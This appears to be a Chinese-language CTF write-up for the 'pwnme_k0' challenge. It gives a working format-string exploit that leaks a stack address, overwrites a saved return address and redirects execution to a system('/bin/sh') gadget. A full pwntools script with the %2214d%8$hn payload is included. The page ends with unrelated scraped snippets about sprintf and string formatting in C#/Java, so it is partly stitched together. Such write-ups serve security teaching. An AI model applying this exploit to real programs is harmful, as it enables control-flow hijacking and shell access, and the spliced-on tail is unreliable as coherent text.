很容易理解,我們要利用格式化字串漏洞來劫持程式的返回位址到我們想要執行的位址。
這裡以三個白帽pwnme_k0為例:
這裡有nx和full relro,先介紹一下relro:
partial relro: gcc -wl, -z, relro:
elf節重排full relro: gcc -wl, -z, relro, -z, now.got, .dtors,etc. precede the .data and .bss
got表仍然可寫
支援partial relro的所有功能那麼這裡我們就無法修改got表了。got表唯讀
簡單分析得知,程式實現了乙個類似註冊之類的功能,能夠檢視和修改,我們在檢視功能發現了格式化串漏洞,即輸出時:
我們還發現我們輸入的username在距離password的20位元組處:
我們的最終目的就是為了獲得系統的shell,我們發現在0x4008a6位址處有直接呼叫system(』/bin/sh』)的函式,那如果我們修改某個函式的返回位址為這個位址,那就相當於獲得了shell:
雖然儲存返回位址的記憶體本身是動態變化的,但是其相對於rbp的位址不會變,所以我們可以利用相對位址進行計算,利用思路如下:
可以看到棧上第二個位置儲存的就是該函式的返回位址 (其實也就是呼叫 show account 函式時執行 push rip 所儲存的值),在格式化字串中的偏移為 7。
與此同時棧上,第乙個元素儲存的也就是上乙個函式的 rbp。所以我們可以得到偏移rbp=0x7fffffffddb0-0x7fffffffdd78=0x38
0x400d74與 0x4008a6只有低 2 位元組不同,所以我們可以只修改 0x7fffffffdd48 開始的 2 個位元組。
這裡需要說明的是在某些較新的系統 (如 ubuntu 18.04) 上, 直接修改返回位址為 0x4008a6 時可能會發生程式 crash, 這時可以考慮修改返回位址為 0x4008aa, 即直接呼叫 system("/bin/sh") 處
.text:00000000004008a6 sub_4008a6 proc near
.text:00000000004008a6 ; __unwind {
.text:00000000004008a6 push rbp
.text:00000000004008a7 mov rbp, rsp
.text:00000000004008aa
.text:00000000004008af call system
.text:00000000004008b4 pop rdi
.text:00000000004008b5 pop rsi
.text:00000000004008b6 pop rdx
.text:00000000004008b7 retn
我這裡是ubuntu16.04的,可以用0x4008a6。
##!usr/bin/env python
#coding:utf-8
from pwn import
*sh=process(
'./pwnme_k0'
)file
=elf(
'./pwnme_k0'
)sh.recv(
)sh.sendline(
'a'*4)
sh.recvuntil(
"input your password(max lenth:20):"
)sh.sendline(
"%6$p"
)sh.recvuntil(
">"
)sh.sendline(
"1")
sh.recvuntil(
'0x'
)ret_addr=
int(sh.recvline(
).strip(),
16)-0x38
log.success(
"ret_addr=>"
+hex
(ret_addr)
)# rbp_ret=0x400810
# system_addr=0x4008a6
sh.recv(
)sh.sendline(
"2")
sh.recv(
)sh.sendline(p64(ret_addr)
)sh.recv(
)sh.sendline(
"%2214d%8$hn"
)#0x08a6=2214
sh.recv(
)sh.sendline(
"1")
sh.recv(
)sh.interactive(
)
參考:ctf wi 字串格式化
sprintf snprintf snprintf std stringstream std strstream boost lexical cast boost format cstring format 1 sprintf 使用 sprintf 不安全,輕則破壞資料的準確性,重則程式崩潰。請看下...
格式化字串
通常在使用字串的時候,會對字串進行格式化,然後輸出或呼叫 一般我們使用替換標記對字串進行格式化 string str1 string.format add is 1,2,3 而且在c 中的替換標記可以以任意順序和次數出現在格式化字串中,但替換值是按順序排的,而且替換標記不能超出索引範圍 string...
字串格式化
例如 string s hello map.put target world string res format s,map 有什麼用呢?比如在some.properties中配置模板字串,但是如果用 這種方式,在配置了spring讀取properties注入變數的時候,這個變數就找不到會報錯。這個...